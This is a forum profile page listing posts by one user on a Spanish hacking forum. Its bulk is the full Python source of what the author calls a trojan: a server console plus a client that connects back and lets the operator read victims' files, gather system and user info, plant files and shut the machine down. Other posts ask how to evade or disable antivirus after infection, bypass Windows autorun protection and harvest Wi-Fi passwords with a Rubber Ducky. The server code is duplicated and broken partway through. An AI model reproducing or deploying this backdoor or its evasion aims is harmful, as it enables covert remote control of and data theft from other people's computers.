elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Temas
Páginas: [1] 2
1  Programación / Scripting / Necesito ayuda en: 2 Octubre 2020, 22:04 pm
Buenas a todos:

Tengo una duda con un proyecto personal, quiero crear un asistente de escritorio. Se perfectamente como hacer el proceso pero me falta hacer la parte visual.

Tenía pensado hacer como con desktop goose (https://www.youtube.com/watch?v=EQx6fyrZDWM). Aun no se como hacer que la imagen se mueva por la pantalla sin ningún tipo de borde ni ventana, agradecería cualquier posible pista.

Un saludo.
2  Seguridad Informática / Análisis y Diseño de Malware / Creador de archivos en batch en: 26 Septiembre 2020, 23:09 pm
Buenas a todos:

Hce mucho vi una publicación en este foro de un creador de archivos en batch con 10 opciones para personalizar, se me ocurrió mejorar ese script ya que era algo viejo y después de mucho trabajo lo terminé. Está escrito en python3, tiene 29 opciones y no usa librerias de pip, trabaja tanto en linux como windows.

Dejo el link de el proyecto aquí espero que no cuente como spam: https://github.com/mobyblock/creador-de-malwares-en-batch

Le puse licencia ya que hay gente que no aprecia el trabajo de los demás, remarco que apenas uso github y no busco seguidores, solo busco ayudar.

Un saludo a todos

3  Seguridad Informática / Análisis y Diseño de Malware / Autorun en windows7/8/10 en: 13 Septiembre 2020, 01:07 am
Buenas a todos, voy al grano, quiero crear un autorun para windows 7 o superiores. Tengo entendido que desactivaron el autorun por razones lógicas, aun asi queria saber si podría saltarme el bloqueo de cualquier modo. Acepto cualquier tipo de ayuda ;-) ;-).
4  Programación / Scripting / No sabía donde colocar esto en: 12 Septiembre 2020, 00:45 am
Buenas a todos:

Estaba haciendo un usb ruber ducky para recopilar las contraseñas de las redes wifi, hay un pequeño problema y es que para mirar la clave hace falta saber el nombre de la red. Hay un comando para ver las redes a las que se a conectado el pc pero hay un problema: el numero de redes varía dependiendo del ordenador por lo que no es posible recojerlas automaticamente.

Agradecería cualquier tipo de ayuda. ;-) ;-)
5  Seguridad Informática / Análisis y Diseño de Malware / Busco taller de creación de malwares en: 6 Septiembre 2020, 18:20 pm
Buenas a todos, siento pedirles algo asi de básico pero estoy algo atascado. Necesito enlaces o algo similar hacia talleres de creación de malwares, tengo conocimientos medios en python y conocimientos basicos en c++ y c# por si es de utilidad. Agradezco cualquier cosa que me den ;-)
6  Seguridad Informática / Análisis y Diseño de Malware / Evitar los antivirus y/o desactivarlos en: 1 Agosto 2020, 14:22 pm
Buenas a todos:

Como podéis ver hace poco publiqué mi backdoor en este foro, el tema es que le añadí una cosa para que abriese una clave de registro. Muchos antivirus no lo detectan (360, TOTAL AV...) pero al analizar con malware bytes si me lo detecta. Querría que me comentárais una forma para evitarlos o desactivarlos una vez infectados (ya que no es detectado hasta hacer un analisis). ;-)
7  Seguridad Informática / Análisis y Diseño de Malware / Codigo de troyano en python 3.8 en: 27 Julio 2020, 16:05 pm
Buenas a todos:

Aquí les dejo el código de mi primera backdoor, cualquier idea o error me la comentáis (la iré actualizando según añada cosas al código).
Servidor
Código
  1. #importamos las librerias
  2. import socket #libreria para crear la conexion cliente/servidor
  3. from colorama import Fore, Back, Style #libreria para decorar textos y banners
  4. import colorama
  5. import os #libreria de multiples usos
  6. from time import sleep #libreria para crear pausas en segundos
  7. import random #libreria para generar numeros aleatorios
  8.  
  9. #ajustar el tamaño terminal
  10. if os.name == "posix": #comprobamos si el ordenador es de linux o windows
  11.    os.system('printf "\033[8;10;42t"') #ajustamos la terminal en linux
  12. elif os.name == "ce" or os.name == "nt" or os.name == "dos":
  13.    os.system('mode con: cols=124 lines=40') #ajustamos la terminal en MacOs y windows
  14.  
  15. #funciones generales
  16. def menuDeAyuda(): #imprime un menu de ayuda con todos los comandos disponibles
  17.    borrarPantalla() #Usa la funcion limpiar pantalla para limpiar la terminal
  18.    print(Fore.BLUE + "Esta es un lista de comandos disponibles") #Fore es usado para cambiar el color de las letras
  19.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  20.    print(Fore.WHITE + "Info - Muestra informacion del sistema infectado                                     " + Fore.BLUE + "|")
  21.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  22.    print(Fore.WHITE + "Dir - Muestra los archivos en el directorio actual                                   " + Fore.BLUE + "|")
  23.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  24.    print(Fore.WHITE + "Close - Cierra la conexion                                                           " + Fore.BLUE + "|")
  25.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  26.    print(Fore.WHITE + "Cls - Limpia la consola                                                              " + Fore.BLUE + "|")
  27.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  28.    print(Fore.WHITE + "Cd - Cambia el directorio actual                                                     " + Fore.BLUE + "|")
  29.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  30.    print(Fore.WHITE + "Help - Muestra este menu de ayuda                                                    " + Fore.BLUE + "|")
  31.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  32.    print(Fore.WHITE + "Pwd - Muestra el directorio actual                                                   " + Fore.BLUE + "|")
  33.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  34.    print(Fore.WHITE + "Shutdown - Apaga la computadora (solo windows)                                       " + Fore.BLUE + "|")
  35.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  36.    print(Fore.WHITE + "Download - Lleva archivos comprimidos de tu ordenador  al \nordenador de la victima  " + Fore.BLUE + "|")
  37.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  38.    print(Fore.WHITE + "Banner - Genera un banner aleatorio                                                  " + Fore.BLUE + "|")
  39.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  40.    print(Fore.WHITE + "Col - Colapsa la ruta seleccionada con las carpetas indicadas                        " + Fore.BLUE + "|")
  41.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  42.    print(Fore.WHITE + "Touch - Crea un archivo de texto en la ruta seleccionada                             " + Fore.BLUE + "|")
  43.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  44.    print(Fore.WHITE + "Read - Sirve para leer documentos                                                    " + Fore.BLUE + "|")
  45.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  46.    print(Fore.WHITE + "Compress - Comprime archivos en el ordenador de la victima                           " + Fore.BLUE + "|")
  47.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  48.    print(Fore.WHITE + "Uncompress - Descomprime archivos en el ordenador de la victima                      " + Fore.BLUE + "|")
  49.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  50.    print(Fore.WHITE + "Usr - Muestra el nombre de usuario de el ordenador infectado                         " + Fore.BLUE + "|")
  51.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  52.    print(Fore.WHITE + "Mkdir - Crea una carpeta en la ruta espedificada                                     " + Fore.BLUE + "|")
  53.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  54.    print(Fore.WHITE + "Move - Mueve archivos a la ruta seleccionada                                         " + Fore.BLUE + "|")
  55.    print(Fore.BLUE + "---------------------------------------------------------------------------------------")
  56.  
  57.  
  58.  
  59. def borrarPantalla(): #Limpia la terminal
  60.    if os.name == "posix": #Si es linux limpia la pantalla en linux
  61.        os.system ("clear")
  62.    elif os.name == "ce" or os.name == "nt" or os.name == "dos": #Si es windows o mac os la limpia para esos sistemas
  63.        os.system ("cls")
  64.  
  65. #Los banners son dibujitos que aparecen al ejecutar el script y al usar el comando banner
  66. def banner1():
  67.    print(Fore.BLACK + "\n\n" +
  68. Back.BLACK + "     " + "                                                                                           \n" +
  69. Back.BLACK + "     " + "                                                                                           \n" +
  70. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  71. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  72. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  73. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  74. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  75. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  76. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  77. Back.BLACK + "     " + "           $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                           \n" +
  78. Back.BLACK + "     " + "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                  \n" +
  79. Back.BLACK + "     " + "                                                                                           \n" +
  80. Fore.BLUE + Back.BLACK + "\n" + "                          MY TROJAN")
  81.  
  82.  
  83. def banner2():
  84.    print(Fore.BLUE + "\n \n"
  85.                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  86.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
  87.                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
  88.                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
  89.                      "$$" + Fore.GREEN +"ooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$$" + Fore.GREEN + "ooooooooooooooo" + Fore.BLUE + "$$\n" +
  90.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +
  91.                      "$$" + Fore.GREEN +"oooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooo" + Fore.BLUE + "$$\n" +
  92.                      "$$" + Fore.GREEN +"ooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "oooooooooooooooooooooo" + Fore.BLUE + "$" + Fore.GREEN + "ooooooooooooooooo" + Fore.BLUE + "$$\n" +
  93.                      "$$" + Fore.GREEN +"oooooooooooooooo" + Fore.BLUE + "$$$$$$$$$$$$$$$$$$$$$$" + Fore.GREEN + "oooooooooooooooooo" + Fore.BLUE + "$$\n" +
  94.                      "$$" + Fore.GREEN +"oooooooooooooooooooooooooooooooooooooooooooooooooooooooo" + Fore.BLUE + "$$\n" +                                                
  95.                      "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  96.                      " $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  97.                      "  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  98.                      "   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  99.                      "    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  100.                      "     $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n"
  101.                      "                                                                   \n"
  102.                      "                          MY TROJAN                                  ")
  103.  
  104.  
  105. def banner3():
  106.    print(Fore.YELLOW + "\n\n"
  107.                        "                               000000000000000000000000000000000000000                                                    \n"
  108.                        "                               000000000000000000000000000000000000000                                                    \n"
  109.                        "                               000000000000000000000000000000000000000                                                    \n"
  110.                        "                               0000000                          000000  0000000000000                                     \n"
  111.                        "    ****000000000000000000000000000000                          000000000000000000  000                                   \n"
  112.                        " *****00000000000000000000000000000000                          000000000000         |                                    \n"
  113.                        "    ****000000000000000000000000000000                          00000000000000000000000                                   \n" + Fore.BLUE)
  114.  
  115. def banner4():
  116.    print(Fore.WHITE + "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  117.                       "       $                                     $                                                    \n"
  118.                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  119.                       "     $   $                                                                                        \n"
  120.                       "    $   $                                                                                         \n"
  121.                       "   $   $                                                                                          \n"
  122.                       "  $   $                                                      $$$$                 $$$$            \n"
  123.                       " $   $                                                       $$$$                 $$$$            \n"
  124.                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
  125.                       "$   $                                                   $$$$$$$$$$$$$$       $$$$$$$$$$$$$$       \n"
  126.                       " $   $                                                       $$$$                 $$$$            \n"
  127.                       "  $   $                                                      $$$$                 $$$$            \n"
  128.                       "   $   $                                                                                          \n"
  129.                       "    $   $                                                                                         \n"
  130.                       "     $   $                                                                                        \n"
  131.                       "      $   $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n"
  132.                       "       $                                     $                                                    \n"
  133.                       "        $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                                                     \n" + Fore.BLUE)
  134.  
  135.  
  136. def defineBanner(): #Esta funcion define un banner aleatorio
  137.    num = random.randint(1, 4) #Genera un numero aleatorio entre 1 y 4
  138.  
  139.    if(num == 1): #Dependiendo de que numero sea usa un banner diferente
  140.        banner1()
  141.    if(num == 2):
  142.        banner2()
  143.    if(num == 3):
  144.        banner3()
  145.    if(num == 4):
  146.        banner4()
  147.  
  148. #Iniciar colorama
  149. colorama.init() #Inicia colorama para poder colorear
  150.  
  151. #Poner socket en linea
  152. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Define socket
  153. s.bind(('127.0.0.1', 1234)) #Lo pone en modo servidor
  154. #poner socket a la escucha
  155. s.listen()
  156.  
  157. #decoracion
  158. borrarPantalla() #Borra la pantalla para evitar problemas
  159. defineBanner() #Llama a la funcion defineBanner para dibujar un banner aleatorio
  160. print(Fore.BLUE + "Esperando una conexion...") #Muestra que esta esperando una conexion para aclarar dudas
  161.  
  162. #variables generales
  163. guid = "" #Es la variable donde se introducira el comando a usar
  164. cmdList = ["Help", "Close", "Cls", "Cd", "Info", "Dir", "Pwd", "Shutdown", "Download", "Banner", "Col", "Touch", "Read", "Uncompress", "Compress", "Usr", "Mkdir", "Move"] #Es una lista de todos los comandos que use para evitar errores
  165.  
  166. #aceptar nueva conexion
  167. clientsocket, address = s.accept() #Si el cliente solicita unirse acepta la conexion
  168.  
  169. #mostrar informacion basica de la nueva conexion
  170. marca = clientsocket.recv(1024) #Recive una informacion enviada desde el cliente y la almacena en la variable marca
  171. marca.decode("utf-8") #Descodifica e mensaje (siempre hay que codificar para enviar y lo contrario al recivir)
  172. print(Fore.BLUE + f"New connection from a {marca}/{address}") #Imprime el sistema operativo y la direccion ip del sistema infectado
  173.  
  174. while True: #Empieza a recibir ordenes para enviar
  175.            #Me quedan hacer muchas cosas aqui entre ellas
  176.            #Pedir una respuesta de confirmacion en cada comando
  177.            #(Solo lo tengo en algunos)
  178.  
  179.    guid = input() #Pide que ingreses un comando
  180.  
  181.    try: #Intenta ejecutar el siguiente codigo
  182.        if(guid != ""): #Comprueba que el comando introducido sea diferente a nada
  183.            if(guid == "Banner"): #Si es igual a Banner usa la funcion defindeBanner para imprimir un banner
  184.                defineBanner()
  185.            if(guid == "Help"): #Si es igual a Help imprime el menu de ayuda
  186.                menuDeAyuda()
  187.            if(guid == "Close"): #Si es igual a Close cierra la conexion
  188.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente para cerrar la conexion desde hay tambien
  189.                print(Fore.YELLOW + "La conexion se a roto" + Fore.RED)
  190.                sleep(1) #Espera un segundo
  191.                print("Ya no podra ejecutar mas comandos en la victima..." + Fore.BLUE)
  192.                os.system("pause") #Crea una pausa
  193.                break #Cierra el bucle para que se cierre el programa
  194.            if(guid == "Cls"): #Si el comando es igual a Cls limpia la consola con la funcion borrarPantalla
  195.                borrarPantalla()
  196.            if(guid == "Cd"): #Si el comando es igual a Cd
  197.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando al cliente
  198.                direc = input("Cual es la ruta a la que moverse...") #Pide que escriba la ruta a la que se quiere mover
  199.                clientsocket.send(bytes(direc, "utf-8")) #La manda al cliente
  200.            if(guid == "Info" or guid == "Dir" or guid == "Pwd" or guid == "Usr"): #Estos tres comandos son muy similares ya que solo muestran informacion de la victima
  201.                clientsocket.send(bytes(guid, "utf-8"))
  202.                respuesta = clientsocket.recv(10024)
  203.                print(Fore.BLUE + "-------------------------------------------")
  204.                print(respuesta.decode("utf-8"))
  205.                print(Fore.BLUE + "-------------------------------------------")
  206.            if(guid == "Shutdown"): #Si el comando es igual a Shutdown
  207.                clientsocket.send(bytes(guid, "utf-8")) #Envia el comando a la victima para que reciva la orden
  208.                print("La conexion se perdera al apagar el ordenador(solo funciona en windows)")
  209.                break #Rompe el bucle para que acabe el programa
  210.            if(guid == "Download"): #Si el comando es igual a Download(este me costo montarlo asi que si no entiendes no te procupes)
  211.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  212.                fileName = input("Nombre y extension del nuevo archivo...") #Pide el nombre y la extension del nuevo archivo
  213.                clientsocket.send(bytes(fileName, "utf-8")) #Envia los datos anteriores
  214.                file = input("Archivo que quiere descargar en la conexion...") #Pide la ruta de un archivo .zip o .rar en tu ordenador para pasarlo al de la victima
  215.                f = open(file, 'rb') #Abre ese archivo con permisos de lectura para leer el binario(todos los archivos estan formados por binario)
  216.                fileData = f.read(99999999) #Lee el binario obtenido
  217.                clientsocket.send(fileData) #Lo envia(no hace falta codificarlo porque ya esta codificado)
  218.                print("Archivo enviado...")
  219.                respuestaDeComprobacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  220.                print(respuestaDeComprobacion.decode("utf-8")) #Y la muestra por pantalla
  221.            if(guid == "Col"):#Si el comando es igual a Col
  222.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  223.                numC = input("Cuantas carpetas quiere crear...") #Pregunta al usuario cuantas carpetas quiere crear
  224.                clientsocket.send(bytes(numC, "utf-8")) #Lo manda al cliente
  225.                colPath = input("Cual es la ruta que desea colapsar...") #Pregunta cual es la ruta a colapsar
  226.                clientsocket.send(bytes(numC, "utf-8")) #La envia
  227.                print(Fore.YELLOW + "Colapsando..." + Fore.BLUE)
  228.                print("Esperando respuesta...")
  229.                respuesta = clientsocket.recv(1024) #Recoge la respuesta de confirmacion
  230.                print(respuesta.decode("utf-8")) #La imprime
  231.            if(guid == "Touch"): #Si es igual a Touch
  232.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  233.                titulo = input("Titulo del documento...") #Pregunta por el titulo del documento(extension incluida)
  234.                clientsocket.send(bytes(titulo, "utf-8")) #La envia al cliente
  235.                filePath = input("Ruta donde el documento se creara...") #Pide que ingrese la ruta donde se creara el documento
  236.                clientsocket.send(bytes(filePath, "utf-8")) #La envia al cliente
  237.                content = input("Contenido del documento...") #Pregunta por el contenido del documento
  238.                clientsocket.send(bytes(content, "utf-8")) #Lo envia al cliente
  239.                print("Esperando respuesta")
  240.                respuestaDeConfrimacion = clientsocket.recv(1024) #Recive la respuesta del cliente
  241.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime en la consola
  242.            if(guid == "Read"): #Si la orden es igual a Read
  243.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  244.                fileRead = input("Ruta del archivo que desea leer(procure que el archivo no sea muy extenso)...") #Pregunta sobre la ruta del documento
  245.                clientsocket.send(bytes(fileRead, "utf-8")) #La manda al cliente
  246.                cont = clientsocket.recv(999999) #Recibe la respuesta del cliente(o el contenido o un error)
  247.                print("----------------------------------------------------")
  248.                print(cont.decode("utf-8")) #La imprime
  249.                print("----------------------------------------------------")
  250.            if(guid == "Uncompress"): #Si el comando es igual a Uncompress(otro complicado)
  251.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden al cliente
  252.                uncompressPath = input("Introduzca la ruta del archivo a descomprimir...") #Pide la ruta del archivo a descomprimir
  253.                clientsocket.send(bytes(uncompressPath, "utf-8")) #La envia
  254.                finalPath = input("Introduzca la ruta en la que desea decomprimir el archivo(sin el archivo)...") #Pide la ruta en la que se quiere descomprimir
  255.                clientsocket.send(bytes(finalPath, "utf-8")) #La envia
  256.                print("Esperando respuesta....")
  257.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  258.                print(respuesta.decode("utf-8")) #La imprime
  259.            if(guid == "Compress"): #Si es igual a Compress
  260.                clientsocket.send(bytes(guid, "utf-8")) #Envia la orden
  261.                nombreDelArchivo = input("Nombre del archivo...") #Pregunta el nuevo nombre(extension .rar .zip o similares)
  262.                clientsocket.send(bytes(nombreDelArchivo, "utf-8")) #La envia
  263.                rutaDelArchivo = input("Ruta del archivo a comprimir...") #Pregunta la ruta del archivo a comprimir
  264.                clientsocket.send(bytes(rutaDelArchivo, "utf-8")) #La envia
  265.                print("Esperando respuesta...")
  266.                respuesta = clientsocket.recv(1024) #Recive respuesta del cliente
  267.                print(respuesta.decode("utf-8")) #La imprime
  268.            if(guid == "Mkdir"): #Si la orden es Mkdir
  269.                clientsocket.send(bytes(guid, "utf-8")) # Envia la orden
  270.                path = input("Ingrese la ruta...") #Pide la ruta de la nueva carpeta
  271.                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
  272.                print("Esperando respuesta...")
  273.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  274.                print(respuesta.decode("utf-8")) #La imprime
  275.            if(guid == "Move"): #Si la orden es igual a Move
  276.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  277.                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
  278.                clientsocket.send(bytes(movePath, "utf-8")) #La envia
  279.                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
  280.                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
  281.                print("Esperando respuesta...")
  282.                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  283.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
  284.            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
  285.                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
  286.  
  287.  
  288.    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
  289.        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa                clientsocket.send(bytes(path, "utf-8")) #La envia al cliente
  290.                print("Esperando respuesta...")
  291.                respuesta = clientsocket.recv(1024) #Recibe la respuesta de confirmacion
  292.                print(respuesta.decode("utf-8")) #La imprime
  293.            if(guid == "Move"): #Si la orden es igual a Move
  294.                clientsocket.send(bytes(guid, "utf-8")) #La envia al cliente
  295.                movePath = input("Ruta del archivo a mover...") #Pide la ruta del archivo a mover
  296.                clientsocket.send(bytes(movePath, "utf-8")) #La envia
  297.                moveDestiny = input("Ruta de destino...") #Pide la nueva ruta
  298.                clientsocket.send(bytes(moveDestiny, "utf-8")) #La envia
  299.                print("Esperando respuesta...")
  300.                respuestaDeConfirmacion = clientsocket.recv(1024) #Recibe la respuesta del cliente
  301.                print(respuestaDeConfirmacion.decode("utf-8")) #La imprime
  302.            if(guid != cmdList[0] and guid != cmdList[1] and guid != cmdList[2] and guid != cmdList[3] and guid != cmdList[4] and guid != cmdList[5] and guid != cmdList[6] and guid != cmdList[7] and guid != cmdList[8] and guid != cmdList[9] and guid != cmdList[10] and guid != cmdList[11] and guid != cmdList[12] and guid != cmdList[13] and guid != cmdList[14] and guid != cmdList[15] and guid != cmdList[16] and guid != cmdList[17]): #Comprueba si el comando ingresado esta en la lista de comandos
  303.                print(Fore.RED + "Debe introducir un comando valido..." + Fore.BLUE) #Si no esta imprime esto
  304.  
  305.  
  306.    except:#Si en el primer try que vimos hay algun error y no consigue ejecuar el codigo
  307.        print(Fore.RED + "Ha ocurrido un error, es probable que la conexion haya caido..." + Fore.BLUE) #Imprime esto y asi evitamos que se cierre el programa
  308.  
Cliente
Código
  1. import socket
  2. import subprocess
  3. import platform
  4. import os
  5. import getpass
  6. import time
  7. import zipfile
  8. import patoolib
  9. from shutil import move
  10.  
  11. var = False
  12. espera = 1
  13. while var == False:
  14.    try:
  15.        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  16.        client.connect(('127.0.0.1', 1234))
  17.        var = True
  18.    except:
  19.        print("furrula")
  20.        time.sleep(60)
  21.  
  22.  
  23. client.send(bytes(f"{platform.system()}", "utf-8"))
  24. while True:
  25.  
  26.    sysInfo = f"""
  27.    Operating System: {platform.system()}
  28.    Computer Name: {platform.node()}
  29.    Username: {getpass.getuser()}
  30.    Release Version: {platform.release()}
  31.    Processor Architecture: {platform.processor()}
  32.                """
  33.    msg = client.recv(100)
  34.    msg.decode("utf-8")
  35.    print(msg)
  36.  
  37.    if(msg == b'Info'):
  38.        client.send(bytes(sysInfo, "utf-8"))
  39.  
  40.    if(msg == b'Dir'):
  41.        client.send(bytes(str(os.listdir(".")), "utf-8"))
  42.  
  43.    if(msg == b'Cd'):
  44.        direc = client.recv(100)
  45.        direc.decode("utf-8")
  46.        os.chdir(direc)
  47.  
  48.    if(msg == b'Pwd'):
  49.        ruta = f'{os.getcwd()}'
  50.        print(ruta)
  51.        client.send(bytes(ruta, "utf-8"))
  52.  
  53.    if(msg == b'Shutdown'):
  54.        os.system('shutdown -s -t 1')
  55.  
  56.    if (msg == b'Close'):
  57.        break
  58.  
  59.    if(msg == b'Col'):
  60.        numC = client.recv(1024)
  61.        colPath = client.recv(1024)
  62.        for i in range(0, int(numC)):
  63.            rutaColapsada = colPath.decode("utf-8") + "\\" + str(i)
  64.            if os.path.exists(rutaColapsada):
  65.                rutaColapsada = rutaColapsada + str(arregloParaRutas)
  66.                os.mkdir(rutaColapsada)
  67.            else:
  68.                os.mkdir(rutaColapsada)
  69.        client.send(bytes("Proceso terminado", "utf-8"))
  70.  
  71.    if(msg == b'Touch'):
  72.        try:
  73.            titulo = client.recv(1024)
  74.            print(titulo)
  75.            filePath = client.recv(1024)
  76.            print(filePath)
  77.            contenido = client.recv(100024)
  78.            print(contenido)
  79.            file = open(filePath.decode("utf-8") + "\\" + titulo.decode("utf-8"), "w")
  80.            print("Creado")
  81.            file.write(contenido.decode("utf-8"))
  82.            file.close()
  83.            cliente.send(bytes("Creado correctamente", "utf-8"))
  84.        except:
  85.            client.send(bytes("A ocuriido un error", "utf-8"))
  86.    if(msg == b'Download'):
  87.        try:
  88.            fileName = client.recv(100)
  89.            f = open(fileName, 'wb')
  90.            print(fileName)
  91.            fileData = client.recv(99999999)
  92.            print(fileData)
  93.            time.sleep(2)
  94.            f.write(fileData)
  95.            f.close()
  96.            client.send(bytes("Creado correctamente", "utf-8"))
  97.  
  98.        except:
  99.            client.send(bytes("Ha ocurrido un error, probablemente no tengas los permisos suficientes", "utf-8"))
  100.  
  101.    if(msg == b'Read'):
  102.        pathFile = client.recv(1024)
  103.        pathFile.decode("utf-8")
  104.        f = open(pathFile, 'rb')
  105.        fileData = f.read(99999)
  106.        client.send(fileData)
  107.  
  108.    if(msg == b'Uncompress'):
  109.        try:
  110.            uncompressPath = client.recv(1024)
  111.            uncompressDestiny = client.recv(1024)
  112.            patoolib.extract_archive(uncompressPath.decode("utf-8"), outdir=uncompressDestiny.decode("utf-8"))
  113.            client.send(bytes("Descomprimido correctamente", "utf-8"))
  114.        except:
  115.            client.send(bytes("A ocurrido un error", "utf-8"))
  116.  
  117.  
  118.    if(msg == b'Usr'):
  119.        client.send(bytes(getpass.getuser(), "utf-8"))
  120.  
  121.    if(msg == b'Compress'):
  122.        try:
  123.            name = client.recv(1024)
  124.            namePath = client.recv(1024)
  125.  
  126.            jungle_zip = zipfile.ZipFile(name.decode("utf-8"), 'w')
  127.            jungle_zip.write(namePath.decode("utf-8"), compress_type=zipfile.ZIP_DEFLATED)
  128.  
  129.            jungle_zip.close()
  130.            client.send(bytes("Comprimido correctamente", "utf-8"))
  131.  
  132.        except:
  133.            client.send(bytes("A ocurrido un error", "utf-8"))
  134.  
  135.    if(msg == b'Mkdir'):
  136.        try:
  137.            path = client.recv(1024)
  138.            os.mkdir(path.decode("utf-8"))
  139.            client.send(bytes("Creada correctamente", "utf-8"))
  140.            print("enviado")
  141.        except:
  142.            client.send(bytes("A ocurrido un error", "utf-8"))
  143.  
  144.    if(msg == b'Move'):
  145.        try:
  146.            movePath = client.recv(1024)
  147.            moveDestiny = client.recv(1024)
  148.            move(movePath.decode("utf-8"), moveDestiny.decode("utf-8"))
